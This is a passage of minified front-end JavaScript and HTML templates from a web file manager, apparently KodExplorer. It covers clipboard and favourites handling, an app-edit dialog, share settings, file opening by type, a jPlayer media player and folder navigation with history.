o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},F=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:F,share:f,shareBox:u,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:k,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(n,"#"+o)}else core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(f){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,f(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),f(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),f(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}]; +i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},f=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),u(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},u=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),f=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},u=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:f,playSound:u}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},f=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},u=function(i,a,n){ui.fileLight.clear();var o=f(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var u=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),u.textSelect(0,h),"list_split"==G.user_config.list_type&&u.css("width",u.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){e===!1?$("#makefile").remove():m(e)},v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,_):t.newFile(a+e,_)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),u.focus().autoTextarea(),u.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(u.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(u.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var 